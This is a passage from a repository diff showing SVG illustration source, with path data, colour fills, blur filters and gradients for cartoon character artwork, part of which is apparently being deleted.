<path d="M2124.7 2361.37C2124.7 2361.37 2124.69 2361.37 2124.7 2361.37C2126.63 2361.25 2130.12 2386.35 2134.88 2434.81C2135.35 2453.78 2134.73 2477.74 2130.57 2503.41C2127.18 2524.43 2120.99 2548.65 2108.67 2571.61C2096.65 2593.93 2086.27 2617.36 2075.16 2644.03C2064.04 2670.75 2053.24 2698.81 2042.73 2728.46C2034.5 2751.7 2026.3 2775.9 2019.64 2800.39C2017.5 2808.27 2015.49 2816 2014.27 2823.56C2013.89 2825.98 2013.58 2828.06 2013.57 2829.79C2014.02 2831.42 2013.52 2831.12 2012.88 2828.64C2013.06 2828.52 2012.5 2828.22 2011.21 2827.25C2009.87 2826.84 2009.31 2826.6 2009.25 2826.77C2010.06 2826.98 2012.08 2825.6 2015.59 2824.07C2018.33 2822.53 2022.41 2820.34 2028.22 2818.83C2030.63 2818.04 2034.14 2818.05 2038.54 2819.25C2043.23 2821.27 2046.38 2824.16 2047.89 2827.45C2050.9 2835.35 2050.35 2842.05 2047.66 2846.36C2045.41 2850.98 2043.12 2854.21 2041.81 2856.58C2040.65 2859.24 2039.62 2860.95 2040.01 2861.51C2039.43 2861.99 2041.07 2863.68 2042.89 2866.07C2042.2 2865.98 2042.89 2865.88 2043.64 2865.99C2044.95 2866.01 2046.72 2865.44 2049 2864.68C2049.85 2864.39 2050.77 2864.08 2051.77 2863.76C2054.75 2862.59 2059 2861.02 2064.7 2860.23C2070.87 2859.25 2077.55 2861.93 2082.98 2868.44L2082.98 2868.44C2085.37 2872.89 2086.2 2876.48 2085.97 2878.82V2878.82C2086.05 2881.94 2085.82 2884.6 2085.52 2886.78C2084.98 2891.73 2084.11 2895.39 2084.32 2897.81C2084.65 2898.69 2084.3 2898.52 2083.76 2896.92C2082.02 2894.82 2080.59 2893.78 2078.89 2893.67C2078.04 2893.95 2078.68 2893.42 2080.68 2893.01V2893.01C2083.59 2892.01 2086.71 2890.26 2090.18 2888.27L2090.18 2888.27C2140.92 2854.85 2181.84 2810.27 2213.89 2764.4C2248.17 2715.46 2272.77 2664.59 2290.65 2620.8C2322.67 2511.91 2342.43 2450.89 2345.4 2451.7C2348.38 2452.52 2334.32 2515.13 2306.25 2625.93C2289.7 2671.41 2265.85 2724.43 2231.15 2776.22C2198.69 2824.56 2156.17 2871.74 2102.37 2907.71C2098.38 2910.13 2093.86 2912.59 2088.63 2914.6C2086.06 2915.87 2081.86 2916.84 2076.18 2916.55C2071.56 2916.09 2067.33 2913.5 2064.07 2908.9C2061.84 2904.53 2061.06 2900.99 2061.27 2898.63C2061.18 2892.46 2062.1 2887.6 2062.59 2884.02C2062.78 2882.14 2062.96 2880.71 2062.88 2879.75C2062.52 2878.92 2062.91 2879.21 2063.57 2880.99L2063.57 2880.99C2065.95 2882.79 2066.56 2883.6 2067.15 2883.22C2065.73 2883.19 2063.23 2884.37 2059.46 2885.58C2058.49 2885.95 2057.43 2886.34 2056.29 2886.71C2053.25 2887.71 2049.62 2888.62 2045.35 2889.06C2039.02 2889.69 2032.31 2887.55 2026.58 2882.45C2021.64 2878.11 2017.75 2871.14 2016.92 2862.1C2017.1 2855.05 2019.1 2849.42 2021.62 2845.41C2023.87 2841.36 2025.93 2838.6 2026.8 2836.58C2026.66 2835.47 2027.4 2835.63 2027.59 2838.26C2027.8 2839.09 2028.89 2839.83 2030.96 2840.94C2032.77 2841.23 2033.43 2841.45 2033.17 2841.25C2031.91 2841.29 2029.6 2842.82 2025.89 2844.53C2022.89 2846.28 2018.3 2848.41 2011.88 2849.46C2008.88 2849.97 2005.24 2849.48 2001.23 2847.77C1996.95 2845.35 1994.14 2842.37 1992.76 2839.32C1990.7 2834.14 1990.32 2830.66 1990.83 2829.24C1990.95 2825.7 1991.39 2822.55 1991.89 2819.79C1993.44 2810.89 1995.69 2802.43 1997.98 2794.38C2005.13 2769.04 2013.8 2744.45 2022.47 2721.1C2033.56 2691.25 2045.05 2663 2056.94 2636.2C2056.94 2636.2 2056.94 2636.2 2056.94 2636.2C2068.74 2609.56 2080.15 2585.7 2093.32 2563.01C2105.09 2542.96 2111.7 2520.53 2115.92 2500.68C2121.01 2476.68 2122.93 2453.52 2123.78 2435.1C2122.46 2387.18 2122.76 2361.68 2124.68 2361.37L2124.7 2361.37Z" fill="black"/>
|
||||
<path d="M2175 2826.87C2174.44 2829.44 2164.46 2830.8 2147.34 2826.66C2129.78 2822.41 2108.61 2813.13 2088.24 2797.58C2078.48 2790.13 2069.81 2781.92 2062.37 2773.42C2043.37 2745.24 2033.41 2725.37 2036.91 2722.76C2040.4 2720.15 2056.55 2735.24 2077.5 2760.58C2085.04 2767.64 2093.09 2774.53 2101.89 2781.22C2120.61 2795.44 2137.36 2804.74 2152.67 2812.56C2166.96 2819.86 2175.65 2823.9 2175 2826.87V2826.87Z" fill="black"/>
|
||||
<path opacity="0.969" d="M2271.02 1481.65C2270.98 1481.7 2270.96 1481.76 2270.93 1481.82C2270.3 1482.5 2269.52 1483.07 2268.45 1483.4C2266.31 1484.06 2263.43 1484.13 2259.51 1483.48C2251.72 1482.17 2240.55 1478.45 2225.78 1472.61C2195.05 1460.45 2150 1440.05 2094.71 1417.03C2083.82 1413.11 2066.88 1406.63 2047.14 1395.61C2042.15 1394.09 2032.43 1386.77 2019.12 1373.26C2005.68 1360.16 2000.71 1338.54 2004.65 1309.48V1309.48C2015.17 1285.72 2024.38 1273.62 2031.14 1272.29C2040.81 1265.93 2048.46 1262.35 2053.94 1260.86C2072.42 1254.93 2088.82 1252.2 2103.52 1250.56C2122.55 1247.86 2141.12 1246.81 2159.25 1246.97C2184.24 1247.19 2208.15 1249.72 2230.89 1253.25C2276.78 1260.23 2318.45 1271.46 2353.6 1283.35C2444.6 1317.86 2493.15 1346 2484.81 1358.31C2477.63 1368.89 2429.3 1366.68 2351.7 1352.28C2319.35 1347.49 2279.06 1341.07 2239.34 1336.79C2204.14 1333.35 2168.81 1329.86 2134.1 1332.29C2133.42 1332.34 2132.74 1332.39 2132.06 1332.44C2117.45 1333.99 2104.62 1334.71 2092.5 1336.9C2088.86 1337.69 2086.18 1337.74 2084.54 1337.85C2083.85 1338.92 2083.97 1336.16 2085.92 1331.01C2085.96 1323.35 2084.56 1319.35 2081.58 1317.6C2079.4 1317.18 2079.97 1318.08 2081.88 1320.29C2089.26 1327.57 2100.53 1333.47 2111.5 1339.38C2169.79 1370.45 2212.91 1401.57 2241.33 1428.53C2254.76 1441.26 2263.67 1452.08 2268.92 1460.88C2271.53 1465.26 2272.96 1468.94 2273.54 1472.03C2273.83 1473.57 2273.79 1474.92 2273.58 1476.1C2273.39 1476.64 2273.09 1477.16 2272.82 1477.63V1477.63C2283.36 1455.58 2295.93 1429.3 2306.47 1407.26C2306.56 1407.07 2306.56 1407.08 2306.47 1407.26C2329.9 1358.27 2248.02 1529.51 2271.45 1480.52C2271.32 1480.9 2271.19 1481.31 2271.02 1481.65L2271.02 1481.65Z" fill="black"/>
|
||||
<path opacity="0.997" d="M2062.08 1928.03C2066.08 1963.78 2031.67 1988.95 1996.69 1993.07C1952.17 1998.32 1895.66 1971.73 1812.67 1981.01C1754.15 1987.55 1699.65 2020.18 1652.86 2030.03C1581.12 2045.14 1530.79 2037.18 1525.3 1988C1516.22 1906.75 1629.02 1827.46 1777.25 1810.9C1925.48 1794.33 2053 1846.78 2062.08 1928.03V1928.03Z" fill="black"/>
|
||||
<path opacity="0.969" d="M928.618 1507.23C938.738 1515.86 985.438 1505.63 1058.08 1479.04C1088.78 1468.85 1127.78 1455.32 1166.09 1444.19C1201.06 1434.49 1236.16 1424.44 1272.09 1420.85C1274.07 1420.72 1276.03 1420.58 1277.96 1420.44C1290.49 1419.5 1301.76 1418.33 1312.8 1418.39C1316.66 1418.53 1319.6 1418.1 1321.7 1417.99C1322.82 1418.82 1322.93 1416.45 1321.25 1412.65C1320.85 1406.53 1321.81 1403.64 1324 1402.45C1325.64 1402.66 1324.84 1404.21 1323.13 1406.79C1316.37 1415.86 1305.6 1423.98 1295.62 1431.73C1242.64 1472.89 1205.17 1511.48 1181.64 1543.57C1170.52 1558.73 1163.7 1571.17 1160.11 1581.02C1158.32 1585.91 1157.66 1589.9 1157.68 1593.16C1157.68 1594.78 1158.04 1596.16 1158.48 1597.34C1158.81 1597.86 1159.26 1598.34 1159.64 1598.77C1143.14 1572.13 1123.51 1540.47 1107.01 1513.83C1106.88 1513.63 1106.88 1513.63 1107.01 1513.83C1067.71 1450.43 1200.7 1665.03 1161.4 1601.63C1161.56 1602.08 1161.71 1602.62 1161.9 1603C1162.06 1603.17 1162.23 1603.33 1162.41 1603.48C1162.93 1603.91 1163.53 1604.25 1164.29 1604.43C1166.32 1604.89 1168.93 1604.66 1172.5 1603.49C1179.61 1601.16 1189.55 1595.86 1202.88 1587.73C1230.59 1570.82 1271.17 1543.07 1322 1510.73C1332.09 1505.08 1348.78 1495.65 1367.94 1481.3C1372.95 1479.1 1382.55 1469.79 1395.45 1453.3H1395.45C1408.68 1437.14 1411.42 1412.6 1403.47 1380.91V1380.91C1388.85 1356.01 1377.31 1343.97 1369.85 1343.56C1358.65 1338.09 1350.13 1335.4 1344.28 1334.74C1324.43 1331.51 1307.46 1331.4 1292.46 1332.26C1269.62 1332.69 1247.91 1335.32 1227.11 1339.44C1205.39 1343.75 1184.84 1349.64 1165.34 1356.17C1120.73 1370.95 1081.19 1389.4 1048.22 1407.42C960.49 1459.08 916.235 1496.67 928.618 1507.23V1507.23Z" fill="black"/>
|
||||
<path d="M2570.51 1270.25C2570.51 1270.25 2611.95 1201.33 2707.84 1167.02C2803.74 1132.7 2924.6 1340.93 2570.51 1270.25Z" fill="#71E0E0"/>
|
||||
<path opacity="0.997" d="M2773.75 1203.7C2773.35 1218.61 2757.87 1223.28 2737.72 1222.74C2717.56 1222.2 2700.36 1216.65 2700.76 1201.74C2701.16 1186.83 2717.82 1175.18 2737.98 1175.72C2758.13 1176.26 2774.15 1188.79 2773.75 1203.7V1203.7Z" fill="white"/>
|
||||
<path d="M2715.89 1392.5C2715.89 1392.5 2772.4 1373.32 2843.17 1399.83C2913.95 1426.34 2882.64 1602.24 2715.89 1392.5Z" fill="#71E0E0"/>
|
||||
<path opacity="0.997" d="M2862.94 1452.19C2855.56 1460.45 2844.55 1455.68 2833.39 1445.72C2822.23 1435.75 2815.15 1424.36 2822.52 1416.1C2829.89 1407.85 2844.91 1409.23 2856.08 1419.2C2867.24 1429.16 2870.31 1443.94 2862.94 1452.19V1452.19Z" fill="white"/>
|
||||
<path d="M841.958 1500.18C841.958 1500.18 771.339 1461.71 671.266 1480.64C571.194 1499.57 572.326 1740.33 841.958 1500.18Z" fill="#71E0E0"/>
|
||||
<path opacity="0.997" d="M632.987 1545.62C640.877 1558.28 656.592 1554.48 673.702 1543.82C690.813 1533.15 702.84 1519.65 694.949 1507C687.059 1494.34 666.792 1492.73 649.681 1503.39C632.57 1514.06 625.096 1532.97 632.987 1545.62V1545.62Z" fill="white"/>
|
||||
<path d="M778.439 1679.19C778.439 1679.19 719.99 1691.24 672.36 1749.92C624.73 1808.6 740.752 1944.48 778.439 1679.19Z" fill="#71E0E0"/>
|
||||
<path opacity="0.997" d="M681.813 1805.09C692.35 1808.48 699.433 1798.79 704.016 1784.55C708.599 1770.31 708.946 1756.9 698.41 1753.51C687.874 1750.12 675.617 1758.91 671.033 1773.16C666.45 1787.4 671.277 1801.7 681.813 1805.09V1805.09Z" fill="white"/>
|
||||
<path d="M1833.6 1920.21C1830.99 1920.21 1828.37 1920.21 1825.74 1920.25C1816.01 1920.32 1806.14 1921.2 1796.18 1922.94C1702.44 1939.32 1636.6 1955.14 1607.38 2036.68C1621.25 2035.85 1636.48 2033.62 1652.86 2030.17C1699.65 2020.32 1754.15 1987.69 1812.67 1981.15C1895.67 1971.87 1952.17 1998.46 1996.69 1993.21C2001.8 1992.61 2006.89 1991.55 2011.86 1990.08C1974.97 1931.79 1909.4 1920.36 1833.6 1920.22V1920.21Z" fill="#DF6747"/>
|
||||
<defs>
|
||||
<filter id="filter0_f_28_46" x="1790.28" y="1625.95" width="57.8831" height="37.7055" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
|
||||
<feFlood flood-opacity="0" result="BackgroundImageFix"/>
|
||||
<feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape"/>
|
||||
<feGaussianBlur stdDeviation="2.30794" result="effect1_foregroundBlur_28_46"/>
|
||||
</filter>
|
||||
<radialGradient id="paint0_radial_28_46" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1769.23 1677.78) rotate(-0.182296) scale(306.481 287.176)">
|
||||
<stop stop-color="#CC3100"/>
|
||||
<stop offset="1" stop-color="#DE6B00"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint1_radial_28_46" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(2381.57 755.292) rotate(63.7909) scale(608.272 241.85)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="paint2_radial_28_46" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(793.252 914.947) rotate(-157.738) scale(359.552 439.05)">
|
||||
<stop stop-color="#FF927A"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</radialGradient>
|
||||
<linearGradient id="paint3_linear_28_46" x1="1265.58" y1="3661.71" x2="1144.68" y2="3329.24" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint4_linear_28_46" x1="2489.26" y1="3548.4" x2="2536.25" y2="3236.36" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint5_linear_28_46" x1="1615.27" y1="2298.63" x2="1651.45" y2="2196.26" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="paint6_linear_28_46" x1="2095.19" y1="2779.79" x2="2057.55" y2="2847.94" gradientUnits="userSpaceOnUse">
|
||||
<stop stop-color="#F79041"/>
|
||||
<stop offset="1" stop-color="#F7C199"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
</svg>
|
||||
|
Before Width: | Height: | Size: 32 KiB |
@@ -1,109 +0,0 @@
|
||||
<svg width="2859" height="3858" viewBox="0 0 2859 3858" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<g clip-path="url(#clip0_35_87)">
|
||||
<path opacity="0.997" d="M229.331 2573.92C227.658 2571.29 287.004 2544.38 324.218 2448.2C337.11 2414.69 347.357 2369.08 337.943 2323.16C334.776 2307.96 329.583 2292.41 320.457 2279.96C313.372 2270.39 303.743 2262.04 292.932 2259.23C281.648 2255.61 267.954 2257.93 254.626 2263.16C231.995 2270.93 211.286 2285.24 190.078 2302.35C167.021 2283.54 134.978 2268.82 104.768 2273.7C81.902 2276.54 60.511 2295.24 49.4462 2318.86C3.74465 2410.06 71.315 2519.88 150.29 2625.09C150.29 2625.09 150.29 2625.09 150.29 2625.09C230.276 2725.89 340.979 2812.76 472.956 2860.92C580.106 2900.19 698.127 2914.49 816.398 2905.34C858.558 2901.63 900.297 2891.12 931.227 2867C941.601 2859.12 950.867 2849.65 958.548 2839.11C967.767 2826.46 974.702 2812.27 978.534 2797.4C985.145 2772.44 984.014 2745.1 975.509 2720.73V2720.73C967.343 2698.01 953.089 2677.33 934.061 2665.58C910.149 2650.23 881.933 2641.07 853.199 2637.76C819.885 2634.11 785.627 2639.42 757.021 2654.45C719.662 2673.22 691.325 2709.24 671.796 2748.4C639.342 2814.04 629.429 2890.35 625.585 2963.42C620.787 3054.16 660.729 3141.58 719.642 3201.36C770.676 3252.96 831.322 3289.74 893.723 3308.69C908.697 3313.56 926.857 3313.53 945.412 3314.04C973.343 3314.51 1002.22 3313.39 1029.19 3312.46C1112.71 3309.54 1178.34 3307.56 1247.24 3311.4C1252.48 3312.55 1259.26 3308.03 1265.44 3302.94C1274.49 3294.73 1281.43 3283.17 1287.71 3271.73C1306.29 3237.38 1318.13 3197.66 1326.75 3167.88C1349.83 3064.98 1363.32 3012.13 1366.36 3012.73C1369.41 3013.33 1361.94 3067.36 1344.36 3171.88C1344.36 3171.88 1344.36 3171.88 1344.36 3171.88C1337.33 3202.62 1327.04 3243.92 1308.44 3282.33C1302.39 3294.99 1294.5 3308.84 1282.76 3320.8C1274.53 3329.67 1261.97 3337.01 1246.23 3337.34C1178.13 3335.81 1114.64 3339.62 1030.69 3344.52C1003.79 3346.11 974.453 3347.89 945.212 3348.03C926.769 3348.32 905.587 3348.33 883.825 3342.43C815.106 3322.91 748.321 3284.25 692.192 3228.84C625.184 3162.88 579.614 3066.05 583.303 2961.59C585.929 2885.84 596.46 2803.96 631.931 2729.13C653.524 2683.25 688.026 2640.3 736.117 2614.43C773.614 2594.93 816.524 2587.77 858.202 2592.39C893.307 2596.11 928.083 2607.44 958.736 2626.81C987.785 2645.66 1008.37 2674.19 1019.07 2705.51V2705.51C1030.67 2738.69 1032.2 2775.02 1023.26 2809.17C1017.73 2829.86 1008.36 2849.2 995.965 2866.3C985.637 2880.55 973.211 2893.24 959.166 2903.86C917.766 2934.55 867.899 2948.06 819.932 2951.28C695.515 2960.79 571.075 2945 457.507 2902.73C317.198 2850.29 201.177 2757.52 118.223 2650.2V2650.2C32.6442 2545.24 -32.8981 2417.48 17.6801 2303.93C33.4423 2270.48 64.451 2246.14 100.199 2240.83C136.634 2236.45 169.491 2255.33 190.178 2280.49C205.009 2262.04 222.599 2245.98 243.989 2236.31C261.83 2229.19 281.993 2227.28 301.035 2233.04C318.973 2239.12 332.793 2251.36 341.852 2265.2C353.144 2282.35 358.941 2301.28 361.69 2318.87C370.075 2371.61 356.822 2420.33 340.993 2455.25C291.994 2563.91 225.032 2567.17 229.331 2573.92V2573.92Z" fill="black"/>
|
||||
<path d="M1160.62 2299.49C1160.62 2299.49 1166.66 2341.8 1118.3 2468.75C1069.94 2595.69 1066.92 2885.85 1042.74 2949.32C1018.56 3012.79 885.57 3224.37 915.795 3411.76C946.02 3599.15 1094.12 3865.13 1275.47 3798.64C1456.82 3732.14 1420.55 3744.23 1420.55 3744.23C1420.55 3744.23 1946.46 3859.09 2294.05 3659.6C2372.63 3695.87 2420.99 3726.1 2538.87 3656.58C2656.74 3587.06 2717.19 3396.65 2714.17 3266.68C2711.15 3136.71 2523.75 2852.6 2502.6 2792.15C2481.44 2731.7 2402.86 2435.5 2363.56 2311.58C2324.27 2187.66 2354.5 2166.5 2354.5 2166.5L1160.62 2299.49Z" fill="#DE5700" stroke="black" stroke-width="46.0804"/>
|
||||
<path d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.542 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0983 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.526 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.192 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.975 1943.24 632.833 1945.37 671.303 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.207 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" fill="#DE5700"/>
|
||||
<path d="M1160.62 2299.49C1160.62 2299.49 1166.66 2341.8 1118.3 2468.75C1069.94 2595.69 1066.92 2885.85 1042.74 2949.32C1018.56 3012.79 885.57 3224.37 915.795 3411.76C946.02 3599.15 1094.12 3865.13 1275.47 3798.64C1456.82 3732.14 1420.55 3744.23 1420.55 3744.23C1420.55 3744.23 1946.46 3859.09 2294.05 3659.6C2372.63 3695.87 2420.99 3726.1 2538.87 3656.58C2656.74 3587.06 2717.19 3396.65 2714.17 3266.68C2711.15 3136.71 2523.75 2852.6 2502.6 2792.15C2481.44 2731.7 2402.86 2435.5 2363.56 2311.58C2324.27 2187.66 2354.5 2166.5 2354.5 2166.5L1160.62 2299.49Z" fill="#DE5700"/>
|
||||
<path d="M1940.31 2212.63L1557.07 2255.32C1406.21 2289.92 1288.96 2332.21 1288.96 2332.21C1288.96 2332.21 1220.57 2746.83 1233.39 2862.24C1246.22 2977.65 1173.55 3152.9 1212.02 3328.15C1245.61 3481.2 1311.83 3644.02 1558.64 3765.38C1710.04 3782.34 1960.24 3792 2176.82 3713.48C2280.67 3629.51 2354.73 3520.47 2383.22 3435.02C2447.33 3242.67 2370.39 2909.27 2340.47 2840.87C2310.55 2772.48 2344.75 2558.76 2178.04 2315.11C2132.1 2247.96 2043.91 2219.17 1940.31 2212.63Z" fill="#F7EDE9"/>
|
||||
<path opacity="0.6" d="M2798.72 15.367C2698.4 16.4866 2391.12 184.492 2306.37 277.783C2219.35 373.579 2165.64 521.033 2148.97 571.513C2050.88 508.595 1907.17 507.155 1907.17 507.155C1907.17 507.155 1991.8 479.955 2082.48 455.775C1925.31 401.371 1722.8 449.727 1722.8 449.727C1722.8 449.727 1813.47 349.989 1895.08 277.45C1768.13 310.697 1620.04 383.233 1529.36 437.638C1553.54 401.368 1595.86 362.076 1680.49 244.199C1447.75 301.626 1160.61 528.318 1060.87 612.947C1072.96 537.385 1103.19 489.025 1139.46 404.395C1002.07 499.513 937.628 607.905 907.715 681.853C876.542 624.261 794.11 483.695 690.543 400.173C558.035 293.312 45.0983 126.611 113.489 254.844C181.88 383.077 164.781 558.322 207.526 827.611C250.27 1096.9 634.972 1250.78 634.972 1250.78C637.192 1249.99 639.395 1249.09 641.592 1248.17C619.011 1319.85 598.866 1424.54 583.679 1597.01C511.014 1706.01 478.959 1727.38 470.41 1767.99C540.938 1733.8 575.13 1708.15 626.423 1695.32C581.542 1770.13 579.407 1872.71 598.642 2035.14C634.975 1943.24 632.833 1945.37 671.303 1917.59C681.988 2026.59 705.503 2086.43 733.287 2120.63C743.973 2060.78 776.031 2037.28 776.031 2037.28C776.031 2037.28 797.404 2167.65 859.383 2257.41C872.207 2178.34 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2400.31 2421.98 2579.84 1985.98 2579.84 1985.98C2579.84 1985.98 2592.66 2041.56 2592.66 2062.93C2639.68 1994.54 2669.6 1853.48 2669.6 1853.48C2669.6 1853.48 2703.8 1934.69 2695.25 1985.98C2733.72 1921.86 2742.26 1763.72 2725.17 1691.05C2785.01 1755.17 2836.31 1776.54 2836.31 1776.54C2836.31 1776.54 2703.79 1545.72 2699.52 1507.25C2695.25 1468.78 2793.56 1562.81 2793.56 1562.81C2793.56 1562.81 2731.97 1460.26 2716.62 1432.45C2659.41 1328.78 2605.12 1139.43 2528.87 1011.72C2592.86 970.123 2850.88 788.773 2843.33 573.68C2834.72 328.21 2786.46 176.103 2827.99 51.0384C2836.43 25.6346 2824.3 15.0816 2798.72 15.367V15.367Z" fill="url(#paint0_radial_35_87)"/>
|
||||
<path d="M1785.69 1777.75C1684.07 1778.04 1631.38 1822.48 1594.58 1842.79C1435.61 2029.15 1115.77 1926.47 942.736 2050.1C912.815 2071.47 871.139 2186.88 871.139 2186.88L873.322 2195.17C881.064 2170.83 887.165 2165.51 887.165 2165.51C887.165 2165.51 1135.08 2490.37 1767.7 2456.17C2277.77 2428.6 2493.17 2139.93 2557.52 2029.09C2551.52 1973.12 2534.07 1898.88 2483.67 1896.22C2402.45 1891.95 2066.9 1864.16 1964.32 1808.59C1922.64 1786.02 1855.22 1777.56 1785.69 1777.75V1777.75Z" fill="#F7EDE9"/>
|
||||
<path opacity="0.993" d="M1961.57 1985.15C1963.63 1987.09 1933.18 2033.96 1856.33 2063.83V2063.83C1839.85 2070.21 1822.61 2075.45 1804.72 2079.62C1766.98 2088.41 1729.87 2091.61 1698.49 2092.27C1674.97 2092.78 1655.68 2091.74 1642.07 2090.22C1635 2089.43 1629.58 2088.53 1625.85 2087.62C1623.95 2087.15 1622.51 2086.68 1621.54 2086.24C1621.04 2086.01 1620.67 2085.78 1620.42 2085.57C1620.15 2085.33 1620.02 2085.11 1620.03 2084.89C1620.05 2084.67 1620.2 2084.47 1620.49 2084.27C1620.76 2084.08 1621.15 2083.91 1621.67 2083.73C1622.67 2083.4 1624.14 2083.08 1626.06 2082.78C1629.77 2082.2 1635.24 2081.66 1642.21 2081.09C1655.61 2079.99 1674.75 2078.77 1697.58 2076.59C1728.3 2073.63 1764.16 2069.35 1800.38 2060.94C1817.58 2056.95 1834.05 2052.22 1849.95 2046.59C1918.62 2022.43 1958.6 1982.34 1961.57 1985.15V1985.15Z" fill="black"/>
|
||||
<path d="M1934.67 1959.27C1935.77 1956.91 1954.37 1960.97 1967.17 1981.57C1979.98 2002.16 1975.41 2020.64 1972.82 2020.59C1970 2020.53 1967.84 2002.79 1958.14 1987.19C1948.44 1971.58 1933.47 1961.83 1934.67 1959.27V1959.27Z" fill="black"/>
|
||||
<path d="M1263.38 1639.08C1266.22 1756.73 1183.41 1844.17 1098.66 1852.16C951.388 1866.04 891.515 1767.76 901.936 1653.12C912.303 1539.07 1011.03 1433.96 1109.23 1430.52C1193.46 1427.58 1260.47 1518.48 1263.38 1639.08Z" fill="black"/>
|
||||
<g filter="url(#filter0_f_35_87)">
|
||||
<path d="M1109.1 1636.63C1138.87 1598.95 1137.08 1543.74 1105.1 1513.3C1073.11 1482.87 1023.06 1488.73 993.29 1526.41C963.522 1564.08 965.316 1619.29 997.297 1649.73C1029.28 1680.17 1079.34 1674.3 1109.1 1636.63Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1109.1 1636.63C1138.87 1598.95 1137.08 1543.74 1105.1 1513.3C1073.11 1482.87 1023.06 1488.73 993.29 1526.41C963.522 1564.08 965.316 1619.29 997.297 1649.73C1029.28 1680.17 1079.34 1674.3 1109.1 1636.63Z" fill="#DEDEDE"/>
|
||||
<g filter="url(#filter1_f_35_87)">
|
||||
<path d="M1220.38 1725.27C1218.97 1703.96 1200.95 1686.44 1180.12 1686.13C1159.3 1685.82 1143.56 1702.84 1144.97 1724.14C1146.38 1745.45 1164.4 1762.98 1185.22 1763.29C1206.05 1763.6 1221.79 1746.58 1220.38 1725.27Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M1217.34 1725.22C1216.05 1705.95 1199.48 1690.11 1180.33 1689.83C1161.18 1689.54 1146.71 1704.93 1148.01 1724.2C1149.3 1743.46 1165.87 1759.31 1185.02 1759.59C1204.17 1759.87 1218.64 1744.48 1217.34 1725.22Z" fill="#DEDEDE"/>
|
||||
<path d="M2111.74 1483.68C2108.91 1601.33 2191.71 1688.77 2276.47 1696.76C2423.74 1710.64 2483.61 1612.36 2473.19 1497.72C2462.82 1383.67 2364.09 1278.56 2265.89 1275.13C2181.66 1272.18 2114.65 1363.09 2111.74 1483.68Z" fill="black"/>
|
||||
<g filter="url(#filter2_f_35_87)">
|
||||
<path d="M2266.02 1481.23C2236.25 1443.55 2238.05 1388.34 2270.03 1357.9C2302.01 1327.47 2352.07 1333.34 2381.83 1371.01C2411.6 1408.68 2409.81 1463.9 2377.83 1494.33C2345.85 1524.77 2295.79 1518.9 2266.02 1481.23Z" fill="#BEBEBE"/>
|
||||
</g>
|
||||
<path d="M2266.02 1481.23C2236.25 1443.55 2238.05 1388.34 2270.03 1357.9C2302.01 1327.47 2352.07 1333.34 2381.83 1371.01C2411.6 1408.68 2409.81 1463.9 2377.83 1494.33C2345.85 1524.77 2295.79 1518.9 2266.02 1481.23Z" fill="#DEDEDE"/>
|
||||
<g filter="url(#filter3_f_35_87)">
|
||||
<path d="M2154.74 1569.87C2156.15 1548.56 2174.17 1531.04 2195 1530.73C2215.83 1530.42 2231.57 1547.44 2230.16 1568.75C2228.75 1590.05 2210.72 1607.58 2189.9 1607.89C2169.07 1608.2 2153.33 1591.18 2154.74 1569.87Z" fill="#BEBEBE"/>
|
||||
